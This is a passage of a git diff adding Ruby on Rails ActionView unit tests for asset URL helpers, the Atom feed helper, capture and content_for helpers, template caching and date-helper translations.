+ copy = source.dup
+ image_tag(source)
+ assert_equal copy, source
+ end
+
+ class PlaceholderImage
+ def blank?; true; end
+ def to_s; 'no-image-yet.png'; end
+ end
+ def test_image_tag_with_blank_placeholder
+ assert_equal '<img alt="" src="/images/no-image-yet.png" />', image_tag(PlaceholderImage.new, alt: "")
+ end
+ def test_image_path_with_blank_placeholder
+ assert_equal '/images/no-image-yet.png', image_path(PlaceholderImage.new)
+ end
+
+ def test_image_path_with_asset_host_proc_returning_nil
+ @controller.config.asset_host = Proc.new do |source|
+ unless source.end_with?("tiff")
+ "cdn.example.com"
+ end
+ end
+
+ assert_equal "/images/file.tiff", image_path("file.tiff")
+ assert_equal "http://cdn.example.com/images/file.png", image_path("file.png")
+ end
+
+ def test_image_url_with_asset_host_proc_returning_nil
+ @controller.config.asset_host = Proc.new { nil }
+ @controller.request = Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+
+ assert_equal "/images/rails.png", image_path("rails.png")
+ assert_equal "http://www.example.com/images/rails.png", image_url("rails.png")
+ end
+
+ def test_caching_image_path_with_caching_and_proc_asset_host_using_request
+ @controller.config.asset_host = Proc.new do |source, request|
+ if request.ssl?
+ "#{request.protocol}#{request.host_with_port}"
+ else
+ "#{request.protocol}assets#{source.length}.example.com"
+ end
+ end
+
+ @controller.request.stubs(:ssl?).returns(false)
+ assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
+
+ @controller.request.stubs(:ssl?).returns(true)
+ assert_equal "http://localhost/images/xml.png", image_path("xml.png")
+ end
+end
+
+class AssetTagHelperNonVhostTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetTagHelper
+
+ attr_reader :request
+
+ def setup
+ super
+ @controller = BasicController.new
+ @controller.config.relative_url_root = "/collaboration/hieraki"
+
+ @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
+ @controller.request = @request
+ end
+
+ def url_for(options)
+ "http://www.example.com/collaboration/hieraki"
+ end
+
+ def test_should_compute_proper_path
+ assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+ assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+ assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+ assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+ end
+
+ def test_should_return_nothing_if_asset_host_isnt_configured
+ assert_equal nil, compute_asset_host("foo")
+ end
+
+ def test_should_current_request_host_is_always_returned_for_request
+ assert_equal "gopher://www.example.com", compute_asset_host("foo", :protocol => :request)
+ end
+
+ def test_should_return_custom_host_if_passed_in_options
+ assert_equal "http://custom.example.com", compute_asset_host("foo", :host => "http://custom.example.com")
+ end
+
+ def test_should_ignore_relative_root_path_on_complete_url
+ assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
+ end
+
+ def test_should_return_simple_string_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_equal "gopher://assets.example.com", compute_asset_host("foo")
+ end
+
+ def test_should_return_relative_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_equal "//assets.example.com", compute_asset_host("foo", :protocol => :relative)
+ end
+
+ def test_should_return_custom_protocol_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_equal "ftp://assets.example.com", compute_asset_host("foo", :protocol => "ftp")
+ end
+
+ def test_should_compute_proper_path_with_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+ end
+
+ def test_should_compute_proper_path_with_asset_host_and_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :request
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+ end
+
+ def test_should_compute_proper_url_with_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+ end
+
+ def test_should_compute_proper_url_with_asset_host_and_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :request
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+ end
+
+ def test_should_return_asset_host_with_protocol
+ @controller.config.asset_host = "http://assets.example.com"
+ assert_equal "http://assets.example.com", compute_asset_host("foo")
+ end
+
+ def test_should_ignore_asset_host_on_complete_url
+ @controller.config.asset_host = "http://assets.example.com"
+ assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+ end
+
+ def test_should_ignore_asset_host_on_scheme_relative_url
+ @controller.config.asset_host = "http://assets.example.com"
+ assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
+ end
+
+ def test_should_wildcard_asset_host
+ @controller.config.asset_host = 'http://a%d.example.com'
+ assert_match(%r(http://a[0123].example.com), compute_asset_host("foo"))
+ end
+
+ def test_should_wildcard_asset_host_between_zero_and_four
+ @controller.config.asset_host = 'http://a%d.example.com'
+ assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png'))
+ assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url('xml.png'))
+ end
+
+ def test_asset_host_without_protocol_should_be_protocol_relative
+ @controller.config.asset_host = 'a.example.com'
+ assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
+ assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_url('xml.png')
+ end
+
+ def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
+ @controller.config.asset_host = 'a.example.com/files/go/here'
+ assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
+ assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_url('xml.png')
+ end
+
+ def test_assert_css_and_js_of_the_same_name_return_correct_extension
+ assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
+ assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
+ end
+end
+
+class AssetUrlHelperControllerTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetUrlHelper
+
+ def setup
+ super
+
+ @controller = BasicController.new
+ @controller.extend ActionView::Helpers::AssetUrlHelper
+
+ @request = Class.new do
+ attr_accessor :script_name
+ def protocol() 'http://' end
+ def ssl?() false end
+ def host_with_port() 'www.example.com' end
+ def base_url() 'http://www.example.com' end
+ end.new
+
+ @controller.request = @request
+ end
+
+ def test_asset_path
+ assert_equal "/foo", @controller.asset_path("foo")
+ end
+
+ def test_asset_url
+ assert_equal "http://www.example.com/foo", @controller.asset_url("foo")
+ end
+end
+
+class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetUrlHelper
+
+ def setup
+ super
+
+ @module = Module.new
+ @module.extend ActionView::Helpers::AssetUrlHelper
+ end
+
+ def test_asset_path
+ assert_equal "/foo", @module.asset_path("foo")
+ end
+
+ def test_asset_url
+ assert_equal "/foo", @module.asset_url("foo")
+ end
+
+ def test_asset_url_with_request
+ @module.instance_eval do
+ def request
+ Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+ end
+ end
+
+ assert @module.request
+ assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+ end
+
+ def test_asset_url_with_config_asset_host
+ @module.instance_eval do
+ def config
+ Struct.new(:asset_host).new("http://www.example.com")
+ end
+ end
+
+ assert @module.config.asset_host
+ assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+ end
+
+ def test_asset_url_with_custom_asset_host
+ @module.instance_eval do
+ def config
+ Struct.new(:asset_host).new("http://www.example.com")
+ end
+ end
+
+ assert @module.config.asset_host
+ assert_equal "http://custom.example.com/foo", @module.asset_url("foo", :host => "http://custom.example.com")
+ end
+end
diff --git a/actionview/test/template/atom_feed_helper_test.rb b/actionview/test/template/atom_feed_helper_test.rb
new file mode 100644
index 0000000000..68b44c4f0d
--- /dev/null
+++ b/actionview/test/template/atom_feed_helper_test.rb
@@ -0,0 +1,349 @@
+require 'abstract_unit'
+
+class Scroll < Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ false
+ end
+end
+
+class ScrollsController < ActionController::Base
+ FEEDS = {}
+ FEEDS["defaults"] = <<-EOT
+ atom_feed(:schema_date => '2008') do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["entry_options"] = <<-EOT
+ atom_feed do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["entry_type_options"] = <<-EOT
+ atom_feed(:schema_date => '2008') do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :type => 'text/xml') do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["xml_block"] = <<-EOT
+ atom_feed do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ feed.author do |author|
+ author.name("DHH")
+ end
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_atomPub_namespace"] = <<-EOT
+ atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+ 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+ entry.tag!('app:edited', Time.now)
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_overridden_ids"] = <<-EOT
+ atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+ entry.tag!('app:edited', Time.now)
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
+ atom_feed(:schema_date => '2008',
+ :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
+ atom_feed(:schema_date => '2008',
+ :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_xhtml_content"] = <<-'EOT'
+ atom_feed do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.summary(:type => 'xhtml') do |xhtml|
+ xhtml.p "before #{scroll.id}"
+ xhtml.p {xhtml << scroll.body}
+ xhtml.p "after #{scroll.id}"
+ end
+ entry.tag!('app:edited', Time.now)
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["provide_builder"] = <<-'EOT'
+ # we pass in the new_xml to the helper so it doesn't
+ # call anything on the original builder
+ new_xml = Builder::XmlMarkup.new(:target=>'')
+ atom_feed(:xml => new_xml) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ def index
+ @scrolls = [
+ Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
+ Scroll.new(2, "2", "Hello Two", "Something Boring", Time.utc(2007, 12, 12, 15)),
+ ]
+
+ render :inline => FEEDS[params[:id]], :type => :builder
+ end
+end
+
+class AtomFeedTest < ActionController::TestCase
+ tests ScrollsController
+
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_feed_should_use_default_language_if_none_is_given
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_match(%r{xml:lang="en-US"}, @response.body)
+ end
+ end
+
+ def test_feed_should_include_two_entries
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "entry", 2
+ end
+ end
+
+ def test_entry_should_only_use_published_if_created_at_is_present
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "published", 1
+ end
+ end
+
+ def test_providing_builder_to_atom_feed
+ with_restful_routing(:scrolls) do
+ get :index, :id=>"provide_builder"
+ # because we pass in the non-default builder, the content generated by the
+ # helper should go 'nowhere'. Leaving the response body blank.
+ assert @response.body.blank?
+ end
+ end
+
+ def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
+ with_restful_routing(:scrolls) do
+ get :index, :id => "entry_options"
+
+ assert_select "updated", Time.utc(2007, 1, 1).xmlschema
+ assert_select "updated", Time.utc(2007, 1, 2).xmlschema
+ end
+ end
+
+ def test_self_url_should_default_to_current_request_url
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "link[rel=self][href=\"http://www.nextangle.com/scrolls?id=defaults\"]"
+ end
+ end
+
+ def test_feed_id_should_be_a_valid_tag
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "id", :text => "tag:www.nextangle.com,2008:/scrolls?id=defaults"
+ end
+ end
+
+ def test_entry_id_should_be_a_valid_tag
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/1"
+ assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/2"
+ end
+ end
+
+ def test_feed_should_allow_nested_xml_blocks
+ with_restful_routing(:scrolls) do
+ get :index, :id => "xml_block"
+ assert_select "author name", :text => "DHH"
+ end
+ end
+
+ def test_feed_should_include_atomPub_namespace
+ with_restful_routing(:scrolls) do
+ get :index, :id => "feed_with_atomPub_namespace"
+ assert_match %r{xml:lang="en-US"}, @response.body
+ assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
+ assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
+ end
+ end
+
+ def test_feed_should_allow_overriding_ids
+ with_restful_routing(:scrolls) do
+ get :index, :id => "feed_with_overridden_ids"
+ assert_select "id", :text => "tag:test.rubyonrails.org,2008:test/"
+ assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:1"
+ assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:2"
+ end
+ end
+
+ def test_feed_xml_processing_instructions
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'feed_with_xml_processing_instructions'
+ assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
+ assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
+ end
+ end
+
+ def test_feed_xml_processing_instructions_duplicate_targets
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'feed_with_xml_processing_instructions_duplicate_targets'
+ assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
+ assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
+ end
+ end
+
+ def test_feed_xhtml
+ with_restful_routing(:scrolls) do
+ get :index, :id => "feed_with_xhtml_content"
+ assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
+ assert_select "summary", :text => /Something Boring/
+ assert_select "summary", :text => /after 2/
+ end
+ end
+
+ def test_feed_entry_type_option_default_to_text_html
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'defaults'
+ assert_select "entry link[rel=alternate][type=\"text/html\"]"
+ end
+ end
+
+ def test_feed_entry_type_option_specified
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'entry_type_options'
+ assert_select "entry link[rel=alternate][type=\"text/xml\"]"
+ end
+ end
+
+ private
+ def with_restful_routing(resources)
+ with_routing do |set|
+ set.draw do
+ resources(resources)
+ end
+ yield
+ end
+ end
+end
diff --git a/actionview/test/template/capture_helper_test.rb b/actionview/test/template/capture_helper_test.rb
new file mode 100644
index 0000000000..f213da5934
--- /dev/null
+++ b/actionview/test/template/capture_helper_test.rb
@@ -0,0 +1,219 @@
+require 'abstract_unit'
+
+class CaptureHelperTest < ActionView::TestCase
+ def setup
+ super
+ @av = ActionView::Base.new
+ @view_flow = ActionView::OutputFlow.new
+ end
+
+ def test_capture_captures_the_temporary_output_buffer_in_its_block
+ assert_nil @av.output_buffer
+ string = @av.capture do
+ @av.output_buffer << 'foo'
+ @av.output_buffer << 'bar'
+ end
+ assert_nil @av.output_buffer
+ assert_equal 'foobar', string
+ end
+
+ def test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffer_is_blank
+ string = @av.capture('foo', 'bar') do |a, b|
+ a + b
+ end
+ assert_equal 'foobar', string
+ end
+
+ def test_capture_returns_nil_if_the_returned_value_is_not_a_string
+ assert_nil @av.capture { 1 }
+ end
+
+ def test_capture_escapes_html
+ string = @av.capture { '<em>bar</em>' }
+ assert_equal '&lt;em&gt;bar&lt;/em&gt;', string
+ end
+
+ def test_capture_doesnt_escape_twice
+ string = @av.capture { '&lt;em&gt;bar&lt;/em&gt;'.html_safe }
+ assert_equal '&lt;em&gt;bar&lt;/em&gt;', string
+ end
+
+ def test_capture_used_for_read
+ content_for :foo, "foo"
+ assert_equal "foo", content_for(:foo)
+
+ content_for(:bar){ "bar" }
+ assert_equal "bar", content_for(:bar)
+ end
+
+ def test_content_for_with_multiple_calls
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, 'bar'
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_multiple_calls_and_flush
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, 'bar', flush: true
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_with_block
+ assert ! content_for?(:title)
+ content_for :title do
+ output_buffer << 'foo'
+ output_buffer << 'bar'
+ nil
+ end
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_block_and_multiple_calls_with_flush
+ assert ! content_for?(:title)
+ content_for :title do
+ 'foo'
+ end
+ content_for :title, flush: true do
+ 'bar'
+ end
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
+ assert ! content_for?(:title)
+ content_for :title do
+ 'foo'
+ end
+ content_for :title, nil, flush: true do
+ 'bar'
+ end
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_with_block_and_multiple_calls_without_flush
+ assert ! content_for?(:title)
+ content_for :title do
+ 'foo'
+ end
+ content_for :title, flush: false do
+ 'bar'
+ end
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_whitespace_block
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title do
+ output_buffer << " \n "
+ nil
+ end
+ content_for :title, 'bar'
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_whitespace_block_and_flush
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, flush: true do
+ output_buffer << " \n "
+ nil
+ end
+ content_for :title, 'bar', flush: true
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_returns_nil_when_writing
+ assert ! content_for?(:title)
+ assert_equal nil, content_for(:title, 'foo')
+ assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil }
+ assert_equal nil, content_for(:title) { output_buffer << " \n "; nil }
+ assert_equal 'foobar', content_for(:title)
+ assert_equal nil, content_for(:title, 'foo', flush: true)
+ assert_equal nil, content_for(:title, flush: true) { output_buffer << 'bar'; nil }
+ assert_equal nil, content_for(:title, flush: true) { output_buffer << " \n "; nil }
+ assert_equal 'bar', content_for(:title)
+ end
+
+ def test_content_for_returns_nil_when_content_missing
+ assert_equal nil, content_for(:some_missing_key)
+ end
+
+ def test_content_for_question_mark
+ assert ! content_for?(:title)
+ content_for :title, 'title'
+ assert content_for?(:title)
+ assert ! content_for?(:something_else)
+ end
+
+ def test_provide
+ assert !content_for?(:title)
+ provide :title, "hi"
+ assert content_for?(:title)
+ assert_equal "hi", content_for(:title)
+ provide :title, "<p>title</p>"
+ assert_equal "hi&lt;p&gt;title&lt;/p&gt;", content_for(:title)
+
+ @view_flow = ActionView::OutputFlow.new
+ provide :title, "hi"
+ provide :title, "<p>title</p>".html_safe
+ assert_equal "hi<p>title</p>", content_for(:title)
+ end
+
+ def test_with_output_buffer_swaps_the_output_buffer_given_no_argument
+ assert_nil @av.output_buffer
+ buffer = @av.with_output_buffer do
+ @av.output_buffer << '.'
+ end
+ assert_equal '.', buffer
+ assert_nil @av.output_buffer
+ end
+
+ def test_with_output_buffer_swaps_the_output_buffer_with_an_argument
+ assert_nil @av.output_buffer
+ buffer = ActionView::OutputBuffer.new('.')
+ @av.with_output_buffer(buffer) do
+ @av.output_buffer << '.'
+ end
+ assert_equal '..', buffer
+ assert_nil @av.output_buffer
+ end
+
+ def test_with_output_buffer_restores_the_output_buffer
+ buffer = ActionView::OutputBuffer.new
+ @av.output_buffer = buffer
+ @av.with_output_buffer do
+ @av.output_buffer << '.'
+ end
+ assert buffer.equal?(@av.output_buffer)
+ end
+
+ def test_with_output_buffer_sets_proper_encoding
+ @av.output_buffer = ActionView::OutputBuffer.new
+
+ # Ensure we set the output buffer to an encoding different than the default one.
+ alt_encoding = alt_encoding(@av.output_buffer)
+ @av.output_buffer.force_encoding(alt_encoding)
+
+ @av.with_output_buffer do
+ assert_equal alt_encoding, @av.output_buffer.encoding
+ end
+ end
+
+ def test_with_output_buffer_does_not_assume_there_is_an_output_buffer
+ assert_nil @av.output_buffer
+ assert_equal "", @av.with_output_buffer {}
+ end
+
+ def alt_encoding(output_buffer)
+ output_buffer.encoding == Encoding::US_ASCII ? Encoding::UTF_8 : Encoding::US_ASCII
+ end
+
+ def view_with_controller
+ TestController.new.view_context.tap do |view|
+ view.output_buffer = ActionView::OutputBuffer.new
+ end
+ end
+end
diff --git a/actionview/test/template/compiled_templates_test.rb b/actionview/test/template/compiled_templates_test.rb
new file mode 100644
index 0000000000..f6c1283b92
--- /dev/null
+++ b/actionview/test/template/compiled_templates_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+
+class CompiledTemplatesTest < ActiveSupport::TestCase
+ teardown do
+ ActionView::LookupContext::DetailsKey.clear
+ end
+
+ def test_template_with_nil_erb_return
+ assert_equal "This is nil: \n", render(:template => "test/nil_return")
+ end
+
+ def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+ assert_equal "one", render(:file => "test/render_file_with_locals_and_default")
+ assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" })
+ end
+
+ def test_template_changes_are_not_reflected_with_cached_templates
+ assert_equal "Hello world!", render(:file => "test/hello_world")
+ modify_template "test/hello_world.erb", "Goodbye world!" do
+ assert_equal "Hello world!", render(:file => "test/hello_world")
+ end
+ assert_equal "Hello world!", render(:file => "test/hello_world")
+ end
+
+ def test_template_changes_are_reflected_with_uncached_templates
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
+ modify_template "test/hello_world.erb", "Goodbye world!" do
+ assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world")
+ end
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
+ end
+
+ private
+ def render(*args)
+ render_with_cache(*args)
+ end
+
+ def render_with_cache(*args)
+ view_paths = ActionController::Base.view_paths
+ ActionView::Base.new(view_paths, {}).render(*args)
+ end
+
+ def render_without_cache(*args)
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ ActionView::Base.new(view_paths, {}).render(*args)
+ end
+
+ def modify_template(template, content)
+ filename = "#{FIXTURE_LOAD_PATH}/#{template}"
+ old_content = File.read(filename)
+ begin
+ File.open(filename, "wb+") { |f| f.write(content) }
+ yield
+ ensure
+ File.open(filename, "wb+") { |f| f.write(old_content) }
+ end
+ end
+end
diff --git a/actionview/test/template/date_helper_i18n_test.rb b/actionview/test/template/date_helper_i18n_test.rb
new file mode 100644
index 0000000000..21fca35185
--- /dev/null
+++ b/actionview/test/template/date_helper_i18n_test.rb
@@ -0,0 +1,148 @@
+require 'abstract_unit'
+
+class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase
+ include ActionView::Helpers::DateHelper
+ attr_reader :request
+
+ def setup
+ @from = Time.utc(2004, 6, 6, 21, 45, 0)
+ end
+
+ # distance_of_time_in_words
+
+ def test_distance_of_time_in_words_calls_i18n
+ { # with include_seconds
+ [2.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 5],
+ [9.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 10],
+ [19.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 20],
+ [30.seconds, { :include_seconds => true }] => [:'half_a_minute', nil],
+ [59.seconds, { :include_seconds => true }] => [:'less_than_x_minutes', 1],
+ [60.seconds, { :include_seconds => true }] => [:'x_minutes', 1],
+
+ # without include_seconds
+ [29.seconds, { :include_seconds => false }] => [:'less_than_x_minutes', 1],
+ [60.seconds, { :include_seconds => false }] => [:'x_minutes', 1],
+ [44.minutes, { :include_seconds => false }] => [:'x_minutes', 44],
+ [61.minutes, { :include_seconds => false }] => [:'about_x_hours', 1],
+ [24.hours, { :include_seconds => false }] => [:'x_days', 1],
+ [30.days, { :include_seconds => false }] => [:'about_x_months', 1],
+ [60.days, { :include_seconds => false }] => [:'x_months', 2],
+ [1.year, { :include_seconds => false }] => [:'about_x_years', 1],
+ [3.years + 6.months, { :include_seconds => false }] => [:'over_x_years', 3],
+ [3.years + 10.months, { :include_seconds => false }] => [:'almost_x_years', 4]
+
+ }.each do |passed, expected|
+ assert_distance_of_time_in_words_translates_key passed, expected
+ end
+ end
+
+ def test_distance_of_time_in_words_calls_i18n_with_custom_scope
+ {
+ [30.days, { scope: :'datetime.distance_in_words_ago' }] => [:'about_x_months', 1],
+ [60.days, { scope: :'datetime.distance_in_words_ago' }] => [:'x_months', 2],
+ }.each do |passed, expected|
+ assert_distance_of_time_in_words_translates_key(passed, expected, scope: :'datetime.distance_in_words_ago')
+ end
+ end
+
+ def test_time_ago_in_words_passes_locale
